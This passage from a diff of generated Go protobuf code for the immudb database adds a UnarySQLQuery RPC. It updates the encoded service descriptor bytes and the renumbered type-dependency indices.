0x64, 0x57, 0x72, 0x69, 0x74, 0x65, 0x10, 0x02, 0x32, 0xa6, 0x35, 0x0a, 0x0b, 0x49, 0x6d, 0x6d, 0x75, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x12, 0x50, 0x0a, 0x09, 0x4c, 0x69, 0x73, 0x74, 0x55, 0x73, 0x65, 0x72, 0x73, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, @@ -10514,67 +10514,73 @@ var file_schema_proto_rawDesc = []byte{ 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x1c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x45, 0x78, 0x65, 0x63, 0x52, 0x65, 0x73, 0x75, 0x6c, 0x74, 0x22, 0x16, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x10, 0x3a, 0x01, 0x2a, 0x22, - 0x0b, 0x2f, 0x64, 0x62, 0x2f, 0x73, 0x71, 0x6c, 0x65, 0x78, 0x65, 0x63, 0x12, 0x64, 0x0a, 0x08, - 0x53, 0x51, 0x4c, 0x51, 0x75, 0x65, 0x72, 0x79, 0x12, 0x1e, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, - 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x51, 0x75, 0x65, 0x72, - 0x79, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, - 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x51, 0x75, 0x65, 0x72, - 0x79, 0x52, 0x65, 0x73, 0x75, 0x6c, 0x74, 0x22, 0x17, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x11, 0x3a, - 0x01, 0x2a, 0x22, 0x0c, 0x2f, 0x64, 0x62, 0x2f, 0x73, 0x71, 0x6c, 0x71, 0x75, 0x65, 0x72, 0x79, - 0x30, 0x01, 0x12, 0x5b, 0x0a, 0x0a, 0x4c, 0x69, 0x73, 0x74, 0x54, 0x61, 0x62, 0x6c, 0x65, 0x73, - 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, - 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, - 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x51, 0x75, 0x65, 0x72, - 0x79, 0x52, 0x65, 0x73, 0x75, 0x6c, 0x74, 0x22, 0x16, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x10, 0x12, - 0x0e, 0x2f, 0x64, 0x62, 0x2f, 0x74, 0x61, 0x62, 0x6c, 0x65, 0x2f, 0x6c, 0x69, 0x73, 0x74, 0x12, - 0x5b, 0x0a, 0x0d, 0x44, 0x65, 0x73, 0x63, 0x72, 0x69, 0x62, 0x65, 0x54, 0x61, 0x62, 0x6c, 0x65, - 0x12, 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, - 0x2e, 0x54, 0x61, 0x62, 0x6c, 0x65, 0x1a, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, - 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x51, 0x75, 0x65, 0x72, 0x79, 0x52, - 0x65, 0x73, 0x75, 0x6c, 0x74, 0x22, 0x15, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0f, 0x3a, 0x01, 0x2a, - 0x22, 0x0a, 0x2f, 0x64, 0x62, 0x2f, 0x74, 0x61, 0x62, 0x6c, 0x65, 0x73, 0x12, 0x7f, 0x0a, 0x10, - 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x51, 0x4c, 0x47, 0x65, 0x74, - 0x12, 0x26, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, - 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x51, 0x4c, 0x47, 0x65, - 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x21, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, - 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, - 0x62, 0x6c, 0x65, 0x53, 0x51, 0x4c, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x22, 0x20, 0x82, 0xd3, 0xe4, - 0x93, 0x02, 0x1a, 0x3a, 0x01, 0x2a, 0x22, 0x15, 0x2f, 0x64, 0x62, 0x2f, 0x76, 0x65, 0x72, 0x69, - 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x2f, 0x73, 0x71, 0x6c, 0x67, 0x65, 0x74, 0x12, 0x7c, 0x0a, - 0x10, 0x54, 0x72, 0x75, 0x6e, 0x63, 0x61, 0x74, 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, - 0x65, 0x12, 0x26, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, - 0x61, 0x2e, 0x54, 0x72, 0x75, 0x6e, 0x63, 0x61, 0x74, 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, - 0x73, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x27, 0x2e, 0x69, 0x6d, 0x6d, 0x75, - 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x72, 0x75, 0x6e, 0x63, 0x61, - 0x74, 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, - 0x73, 0x65, 0x22, 0x17, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x11, 0x3a, 0x01, 0x2a, 0x22, 0x0c, 0x2f, - 0x64, 0x62, 0x2f, 0x74, 0x72, 0x75, 0x6e, 0x63, 0x61, 0x74, 0x65, 0x42, 0x91, 0x03, 0x92, 0x41, - 0xe0, 0x02, 0x12, 0xee, 0x01, 0x0a, 0x0f, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x20, 0x52, 0x45, - 0x53, 0x54, 0x20, 0x41, 0x50, 0x49, 0x12, 0xda, 0x01, 0x3c, 0x62, 0x3e, 0x49, 0x4d, 0x50, 0x4f, - 0x52, 0x54, 0x41, 0x4e, 0x54, 0x3c, 0x2f, 0x62, 0x3e, 0x3a, 0x20, 0x41, 0x6c, 0x6c, 0x20, 0x3c, - 0x63, 0x6f, 0x64, 0x65, 0x3e, 0x67, 0x65, 0x74, 0x3c, 0x2f, 0x63, 0x6f, 0x64, 0x65, 0x3e, 0x20, - 0x61, 0x6e, 0x64, 0x20, 0x3c, 0x63, 0x6f, 0x64, 0x65, 0x3e, 0x73, 0x61, 0x66, 0x65, 0x67, 0x65, - 0x74, 0x3c, 0x2f, 0x63, 0x6f, 0x64, 0x65, 0x3e, 0x20, 0x66, 0x75, 0x6e, 0x63, 0x74, 0x69, 0x6f, - 0x6e, 0x73, 0x20, 0x72, 0x65, 0x74, 0x75, 0x72, 0x6e, 0x20, 0x3c, 0x75, 0x3e, 0x62, 0x61, 0x73, - 0x65, 0x36, 0x34, 0x2d, 0x65, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x64, 0x3c, 0x2f, 0x75, 0x3e, 0x20, - 0x6b, 0x65, 0x79, 0x73, 0x20, 0x61, 0x6e, 0x64, 0x20, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x73, 0x2c, - 0x20, 0x77, 0x68, 0x69, 0x6c, 0x65, 0x20, 0x61, 0x6c, 0x6c, 0x20, 0x3c, 0x63, 0x6f, 0x64, 0x65, - 0x3e, 0x73, 0x65, 0x74, 0x3c, 0x2f, 0x63, 0x6f, 0x64, 0x65, 0x3e, 0x20, 0x61, 0x6e, 0x64, 0x20, - 0x3c, 0x63, 0x6f, 0x64, 0x65, 0x3e, 0x73, 0x61, 0x66, 0x65, 0x73, 0x65, 0x74, 0x3c, 0x2f, 0x63, - 0x6f, 0x64, 0x65, 0x3e, 0x20, 0x66, 0x75, 0x6e, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x20, 0x65, - 0x78, 0x70, 0x65, 0x63, 0x74, 0x20, 0x3c, 0x75, 0x3e, 0x62, 0x61, 0x73, 0x65, 0x36, 0x34, 0x2d, - 0x65, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x64, 0x3c, 0x2f, 0x75, 0x3e, 0x20, 0x69, 0x6e, 0x70, 0x75, - 0x74, 0x73, 0x2e, 0x22, 0x04, 0x2f, 0x61, 0x70, 0x69, 0x5a, 0x59, 0x0a, 0x57, 0x0a, 0x06, 0x62, - 0x65, 0x61, 0x72, 0x65, 0x72, 0x12, 0x4d, 0x08, 0x02, 0x12, 0x38, 0x41, 0x75, 0x74, 0x68, 0x65, - 0x6e, 0x74, 0x69, 0x63, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x20, 0x74, 0x6f, 0x6b, 0x65, 0x6e, 0x2c, - 0x20, 0x70, 0x72, 0x65, 0x66, 0x69, 0x78, 0x65, 0x64, 0x20, 0x62, 0x79, 0x20, 0x42, 0x65, 0x61, - 0x72, 0x65, 0x72, 0x3a, 0x20, 0x42, 0x65, 0x61, 0x72, 0x65, 0x72, 0x20, 0x3c, 0x74, 0x6f, 0x6b, - 0x65, 0x6e, 0x3e, 0x1a, 0x0d, 0x41, 0x75, 0x74, 0x68, 0x6f, 0x72, 0x69, 0x7a, 0x61, 0x74, 0x69, - 0x6f, 0x6e, 0x20, 0x02, 0x62, 0x0c, 0x0a, 0x0a, 0x0a, 0x06, 0x62, 0x65, 0x61, 0x72, 0x65, 0x72, - 0x12, 0x00, 0x5a, 0x2b, 0x67, 0x69, 0x74, 0x68, 0x75, 0x62, 0x2e, 0x63, 0x6f, 0x6d, 0x2f, 0x63, - 0x6f, 0x64, 0x65, 0x6e, 0x6f, 0x74, 0x61, 0x72, 0x79, 0x2f, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, - 0x2f, 0x70, 0x6b, 0x67, 0x2f, 0x61, 0x70, 0x69, 0x2f, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x62, - 0x06, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x33, + 0x0b, 0x2f, 0x64, 0x62, 0x2f, 0x73, 0x71, 0x6c, 0x65, 0x78, 0x65, 0x63, 0x12, 0x67, 0x0a, 0x0d, + 0x55, 0x6e, 0x61, 0x72, 0x79, 0x53, 0x51, 0x4c, 0x51, 0x75, 0x65, 0x72, 0x79, 0x12, 0x1e, 0x2e, + 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, + 0x4c, 0x51, 0x75, 0x65, 0x72, 0x79, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x1d, 0x2e, + 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, + 0x4c, 0x51, 0x75, 0x65, 0x72, 0x79, 0x52, 0x65, 0x73, 0x75, 0x6c, 0x74, 0x22, 0x17, 0x82, 0xd3, + 0xe4, 0x93, 0x02, 0x11, 0x3a, 0x01, 0x2a, 0x22, 0x0c, 0x2f, 0x64, 0x62, 0x2f, 0x73, 0x71, 0x6c, + 0x71, 0x75, 0x65, 0x72, 0x79, 0x12, 0x64, 0x0a, 0x08, 0x53, 0x51, 0x4c, 0x51, 0x75, 0x65, 0x72, + 0x79, 0x12, 0x1e, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, + 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x51, 0x75, 0x65, 0x72, 0x79, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, + 0x74, 0x1a, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, + 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x51, 0x75, 0x65, 0x72, 0x79, 0x52, 0x65, 0x73, 0x75, 0x6c, 0x74, + 0x22, 0x17, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x11, 0x3a, 0x01, 0x2a, 0x22, 0x0c, 0x2f, 0x64, 0x62, + 0x2f, 0x73, 0x71, 0x6c, 0x71, 0x75, 0x65, 0x72, 0x79, 0x30, 0x01, 0x12, 0x5b, 0x0a, 0x0a, 0x4c, + 0x69, 0x73, 0x74, 0x54, 0x61, 0x62, 0x6c, 0x65, 0x73, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, + 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, + 0x79, 0x1a, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, + 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x51, 0x75, 0x65, 0x72, 0x79, 0x52, 0x65, 0x73, 0x75, 0x6c, 0x74, + 0x22, 0x16, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x10, 0x12, 0x0e, 0x2f, 0x64, 0x62, 0x2f, 0x74, 0x61, + 0x62, 0x6c, 0x65, 0x2f, 0x6c, 0x69, 0x73, 0x74, 0x12, 0x5b, 0x0a, 0x0d, 0x44, 0x65, 0x73, 0x63, + 0x72, 0x69, 0x62, 0x65, 0x54, 0x61, 0x62, 0x6c, 0x65, 0x12, 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, + 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x61, 0x62, 0x6c, 0x65, 0x1a, + 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, + 0x53, 0x51, 0x4c, 0x51, 0x75, 0x65, 0x72, 0x79, 0x52, 0x65, 0x73, 0x75, 0x6c, 0x74, 0x22, 0x15, + 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0f, 0x3a, 0x01, 0x2a, 0x22, 0x0a, 0x2f, 0x64, 0x62, 0x2f, 0x74, + 0x61, 0x62, 0x6c, 0x65, 0x73, 0x12, 0x7f, 0x0a, 0x10, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, + 0x62, 0x6c, 0x65, 0x53, 0x51, 0x4c, 0x47, 0x65, 0x74, 0x12, 0x26, 0x2e, 0x69, 0x6d, 0x6d, 0x75, + 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, + 0x61, 0x62, 0x6c, 0x65, 0x53, 0x51, 0x4c, 0x47, 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, + 0x74, 0x1a, 0x21, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, + 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x51, 0x4c, 0x45, + 0x6e, 0x74, 0x72, 0x79, 0x22, 0x20, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x1a, 0x3a, 0x01, 0x2a, 0x22, + 0x15, 0x2f, 0x64, 0x62, 0x2f, 0x76, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x2f, + 0x73, 0x71, 0x6c, 0x67, 0x65, 0x74, 0x12, 0x7c, 0x0a, 0x10, 0x54, 0x72, 0x75, 0x6e, 0x63, 0x61, + 0x74, 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x12, 0x26, 0x2e, 0x69, 0x6d, 0x6d, + 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x72, 0x75, 0x6e, 0x63, + 0x61, 0x74, 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, + 0x73, 0x74, 0x1a, 0x27, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, + 0x6d, 0x61, 0x2e, 0x54, 0x72, 0x75, 0x6e, 0x63, 0x61, 0x74, 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, + 0x61, 0x73, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x17, 0x82, 0xd3, 0xe4, + 0x93, 0x02, 0x11, 0x3a, 0x01, 0x2a, 0x22, 0x0c, 0x2f, 0x64, 0x62, 0x2f, 0x74, 0x72, 0x75, 0x6e, + 0x63, 0x61, 0x74, 0x65, 0x42, 0x91, 0x03, 0x92, 0x41, 0xe0, 0x02, 0x12, 0xee, 0x01, 0x0a, 0x0f, + 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x20, 0x52, 0x45, 0x53, 0x54, 0x20, 0x41, 0x50, 0x49, 0x12, + 0xda, 0x01, 0x3c, 0x62, 0x3e, 0x49, 0x4d, 0x50, 0x4f, 0x52, 0x54, 0x41, 0x4e, 0x54, 0x3c, 0x2f, + 0x62, 0x3e, 0x3a, 0x20, 0x41, 0x6c, 0x6c, 0x20, 0x3c, 0x63, 0x6f, 0x64, 0x65, 0x3e, 0x67, 0x65, + 0x74, 0x3c, 0x2f, 0x63, 0x6f, 0x64, 0x65, 0x3e, 0x20, 0x61, 0x6e, 0x64, 0x20, 0x3c, 0x63, 0x6f, + 0x64, 0x65, 0x3e, 0x73, 0x61, 0x66, 0x65, 0x67, 0x65, 0x74, 0x3c, 0x2f, 0x63, 0x6f, 0x64, 0x65, + 0x3e, 0x20, 0x66, 0x75, 0x6e, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x20, 0x72, 0x65, 0x74, 0x75, + 0x72, 0x6e, 0x20, 0x3c, 0x75, 0x3e, 0x62, 0x61, 0x73, 0x65, 0x36, 0x34, 0x2d, 0x65, 0x6e, 0x63, + 0x6f, 0x64, 0x65, 0x64, 0x3c, 0x2f, 0x75, 0x3e, 0x20, 0x6b, 0x65, 0x79, 0x73, 0x20, 0x61, 0x6e, + 0x64, 0x20, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x73, 0x2c, 0x20, 0x77, 0x68, 0x69, 0x6c, 0x65, 0x20, + 0x61, 0x6c, 0x6c, 0x20, 0x3c, 0x63, 0x6f, 0x64, 0x65, 0x3e, 0x73, 0x65, 0x74, 0x3c, 0x2f, 0x63, + 0x6f, 0x64, 0x65, 0x3e, 0x20, 0x61, 0x6e, 0x64, 0x20, 0x3c, 0x63, 0x6f, 0x64, 0x65, 0x3e, 0x73, + 0x61, 0x66, 0x65, 0x73, 0x65, 0x74, 0x3c, 0x2f, 0x63, 0x6f, 0x64, 0x65, 0x3e, 0x20, 0x66, 0x75, + 0x6e, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x20, 0x65, 0x78, 0x70, 0x65, 0x63, 0x74, 0x20, 0x3c, + 0x75, 0x3e, 0x62, 0x61, 0x73, 0x65, 0x36, 0x34, 0x2d, 0x65, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x64, + 0x3c, 0x2f, 0x75, 0x3e, 0x20, 0x69, 0x6e, 0x70, 0x75, 0x74, 0x73, 0x2e, 0x22, 0x04, 0x2f, 0x61, + 0x70, 0x69, 0x5a, 0x59, 0x0a, 0x57, 0x0a, 0x06, 0x62, 0x65, 0x61, 0x72, 0x65, 0x72, 0x12, 0x4d, + 0x08, 0x02, 0x12, 0x38, 0x41, 0x75, 0x74, 0x68, 0x65, 0x6e, 0x74, 0x69, 0x63, 0x61, 0x74, 0x69, + 0x6f, 0x6e, 0x20, 0x74, 0x6f, 0x6b, 0x65, 0x6e, 0x2c, 0x20, 0x70, 0x72, 0x65, 0x66, 0x69, 0x78, + 0x65, 0x64, 0x20, 0x62, 0x79, 0x20, 0x42, 0x65, 0x61, 0x72, 0x65, 0x72, 0x3a, 0x20, 0x42, 0x65, + 0x61, 0x72, 0x65, 0x72, 0x20, 0x3c, 0x74, 0x6f, 0x6b, 0x65, 0x6e, 0x3e, 0x1a, 0x0d, 0x41, 0x75, + 0x74, 0x68, 0x6f, 0x72, 0x69, 0x7a, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x20, 0x02, 0x62, 0x0c, 0x0a, + 0x0a, 0x0a, 0x06, 0x62, 0x65, 0x61, 0x72, 0x65, 0x72, 0x12, 0x00, 0x5a, 0x2b, 0x67, 0x69, 0x74, + 0x68, 0x75, 0x62, 0x2e, 0x63, 0x6f, 0x6d, 0x2f, 0x63, 0x6f, 0x64, 0x65, 0x6e, 0x6f, 0x74, 0x61, + 0x72, 0x79, 0x2f, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2f, 0x70, 0x6b, 0x67, 0x2f, 0x61, 0x70, + 0x69, 0x2f, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x62, 0x06, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x33, } var ( @@ -10951,85 +10957,87 @@ var file_schema_proto_depIdxs = []int32{ 108, // 216: immudb.schema.ImmuService.replicateTx:input_type -> immudb.schema.Chunk 67, // 217: immudb.schema.ImmuService.streamExportTx:input_type -> immudb.schema.ExportTxRequest 110, // 218: immudb.schema.ImmuService.SQLExec:input_type -> immudb.schema.SQLExecRequest - 111, // 219: immudb.schema.ImmuService.SQLQuery:input_type -> immudb.schema.SQLQueryRequest - 137, // 220: immudb.schema.ImmuService.ListTables:input_type -> google.protobuf.Empty - 96, // 221: immudb.schema.ImmuService.DescribeTable:input_type -> immudb.schema.Table - 98, // 222: immudb.schema.ImmuService.VerifiableSQLGet:input_type -> immudb.schema.VerifiableSQLGetRequest - 124, // 223: immudb.schema.ImmuService.TruncateDatabase:input_type -> immudb.schema.TruncateDatabaseRequest - 6, // 224: immudb.schema.ImmuService.ListUsers:output_type -> immudb.schema.UserList - 137, // 225: immudb.schema.ImmuService.CreateUser:output_type -> google.protobuf.Empty - 137, // 226: immudb.schema.ImmuService.ChangePassword:output_type -> google.protobuf.Empty - 137, // 227: immudb.schema.ImmuService.ChangePermission:output_type -> google.protobuf.Empty - 137, // 228: immudb.schema.ImmuService.SetActiveUser:output_type -> google.protobuf.Empty - 137, // 229: immudb.schema.ImmuService.UpdateAuthConfig:output_type -> google.protobuf.Empty - 137, // 230: immudb.schema.ImmuService.UpdateMTLSConfig:output_type -> google.protobuf.Empty - 15, // 231: immudb.schema.ImmuService.OpenSession:output_type -> immudb.schema.OpenSessionResponse - 137, // 232: immudb.schema.ImmuService.CloseSession:output_type -> google.protobuf.Empty - 137, // 233: immudb.schema.ImmuService.KeepAlive:output_type -> google.protobuf.Empty - 120, // 234: immudb.schema.ImmuService.NewTx:output_type -> immudb.schema.NewTxResponse - 114, // 235: immudb.schema.ImmuService.Commit:output_type -> immudb.schema.CommittedSQLTx - 137, // 236: immudb.schema.ImmuService.Rollback:output_type -> google.protobuf.Empty - 137, // 237: immudb.schema.ImmuService.TxSQLExec:output_type -> google.protobuf.Empty - 115, // 238: immudb.schema.ImmuService.TxSQLQuery:output_type -> immudb.schema.SQLQueryResult - 11, // 239: immudb.schema.ImmuService.Login:output_type -> immudb.schema.LoginResponse - 137, // 240: immudb.schema.ImmuService.Logout:output_type -> google.protobuf.Empty - 29, // 241: immudb.schema.ImmuService.Set:output_type -> immudb.schema.TxHeader - 39, // 242: immudb.schema.ImmuService.VerifiableSet:output_type -> immudb.schema.VerifiableTx - 18, // 243: immudb.schema.ImmuService.Get:output_type -> immudb.schema.Entry - 41, // 244: immudb.schema.ImmuService.VerifiableGet:output_type -> immudb.schema.VerifiableEntry - 29, // 245: immudb.schema.ImmuService.Delete:output_type -> immudb.schema.TxHeader - 22, // 246: immudb.schema.ImmuService.GetAll:output_type -> immudb.schema.Entries - 29, // 247: immudb.schema.ImmuService.ExecAll:output_type -> immudb.schema.TxHeader - 22, // 248: immudb.schema.ImmuService.Scan:output_type -> immudb.schema.Entries - 27, // 249: immudb.schema.ImmuService.Count:output_type -> immudb.schema.EntryCount - 27, // 250: immudb.schema.ImmuService.CountAll:output_type -> immudb.schema.EntryCount - 35, // 251: immudb.schema.ImmuService.TxById:output_type -> immudb.schema.Tx - 39, // 252: immudb.schema.ImmuService.VerifiableTxById:output_type -> immudb.schema.VerifiableTx - 66, // 253: immudb.schema.ImmuService.TxScan:output_type -> immudb.schema.TxList - 22, // 254: immudb.schema.ImmuService.History:output_type -> immudb.schema.Entries - 50, // 255: immudb.schema.ImmuService.ServerInfo:output_type -> immudb.schema.ServerInfoResponse - 51, // 256: immudb.schema.ImmuService.Health:output_type -> immudb.schema.HealthResponse - 52, // 257: immudb.schema.ImmuService.DatabaseHealth:output_type -> immudb.schema.DatabaseHealthResponse - 53, // 258: immudb.schema.ImmuService.CurrentState:output_type -> immudb.schema.ImmutableState - 29, // 259: immudb.schema.ImmuService.SetReference:output_type -> immudb.schema.TxHeader - 39, // 260: immudb.schema.ImmuService.VerifiableSetReference:output_type -> immudb.schema.VerifiableTx - 29, // 261: immudb.schema.ImmuService.ZAdd:output_type -> immudb.schema.TxHeader - 39, // 262: immudb.schema.ImmuService.VerifiableZAdd:output_type -> immudb.schema.VerifiableTx - 24, // 263: immudb.schema.ImmuService.ZScan:output_type -> immudb.schema.ZEntries - 137, // 264: immudb.schema.ImmuService.CreateDatabase:output_type -> google.protobuf.Empty - 137, // 265: immudb.schema.ImmuService.CreateDatabaseWith:output_type -> google.protobuf.Empty - 72, // 266: immudb.schema.ImmuService.CreateDatabaseV2:output_type -> immudb.schema.CreateDatabaseResponse - 89, // 267: immudb.schema.ImmuService.LoadDatabase:output_type -> immudb.schema.LoadDatabaseResponse - 91, // 268: immudb.schema.ImmuService.UnloadDatabase:output_type -> immudb.schema.UnloadDatabaseResponse - 93, // 269: immudb.schema.ImmuService.DeleteDatabase:output_type -> immudb.schema.DeleteDatabaseResponse - 104, // 270: immudb.schema.ImmuService.DatabaseList:output_type -> immudb.schema.DatabaseListResponse - 106, // 271: immudb.schema.ImmuService.DatabaseListV2:output_type -> immudb.schema.DatabaseListResponseV2 - 101, // 272: immudb.schema.ImmuService.UseDatabase:output_type -> immudb.schema.UseDatabaseReply - 137, // 273: immudb.schema.ImmuService.UpdateDatabase:output_type -> google.protobuf.Empty - 74, // 274: immudb.schema.ImmuService.UpdateDatabaseV2:output_type -> immudb.schema.UpdateDatabaseResponse - 70, // 275: immudb.schema.ImmuService.GetDatabaseSettings:output_type -> immudb.schema.DatabaseSettings - 76, // 276: immudb.schema.ImmuService.GetDatabaseSettingsV2:output_type -> immudb.schema.DatabaseSettingsResponse - 95, // 277: immudb.schema.ImmuService.FlushIndex:output_type -> immudb.schema.FlushIndexResponse - 137, // 278: immudb.schema.ImmuService.CompactIndex:output_type -> google.protobuf.Empty - 108, // 279: immudb.schema.ImmuService.streamGet:output_type -> immudb.schema.Chunk - 29, // 280: immudb.schema.ImmuService.streamSet:output_type -> immudb.schema.TxHeader - 108, // 281: immudb.schema.ImmuService.streamVerifiableGet:output_type -> immudb.schema.Chunk - 39, // 282: immudb.schema.ImmuService.streamVerifiableSet:output_type -> immudb.schema.VerifiableTx - 108, // 283: immudb.schema.ImmuService.streamScan:output_type -> immudb.schema.Chunk - 108, // 284: immudb.schema.ImmuService.streamZScan:output_type -> immudb.schema.Chunk - 108, // 285: immudb.schema.ImmuService.streamHistory:output_type -> immudb.schema.Chunk - 29, // 286: immudb.schema.ImmuService.streamExecAll:output_type -> immudb.schema.TxHeader - 108, // 287: immudb.schema.ImmuService.exportTx:output_type -> immudb.schema.Chunk - 29, // 288: immudb.schema.ImmuService.replicateTx:output_type -> immudb.schema.TxHeader - 108, // 289: immudb.schema.ImmuService.streamExportTx:output_type -> immudb.schema.Chunk - 113, // 290: immudb.schema.ImmuService.SQLExec:output_type -> 